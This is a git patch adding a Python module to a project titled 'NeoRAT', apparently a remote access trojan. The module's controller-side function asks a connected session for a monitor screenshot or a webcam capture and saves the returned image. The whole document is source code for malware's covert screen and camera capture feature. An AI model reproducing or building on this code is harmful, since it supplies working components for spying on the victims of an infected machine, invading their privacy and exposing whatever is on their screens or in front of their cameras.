From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/server_handling/image.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 domestic/session/server_handling/image.py (limited to 'domestic/session/server_handling/image.py') diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py new file mode 100644 index 0000000..15719e0 --- /dev/null +++ b/domestic/session/server_handling/image.py @@ -0,0 +1,31 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def image(message): + monitor = validate_dict_key(message, 'monitor') + screenshot = validate_dict_key(message, 'screenshot') + cam = validate_dict_key(message, 'cam') + + assert screenshot or cam + + if monitor is None: + message['monitor'] = 0 + else: + message['monitor'] = int(monitor) + + if screenshot: + message['image_type'] = True + del message['screenshot'] + image_type = 'screenshot' + else: + message['image_type'] = False + del message['cam'] + image_type = 'cam-screenshot' + + data = session_message(message, False) + + if data['screenshot']: + make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type']) \ No newline at end of file -- cgit v1.2.3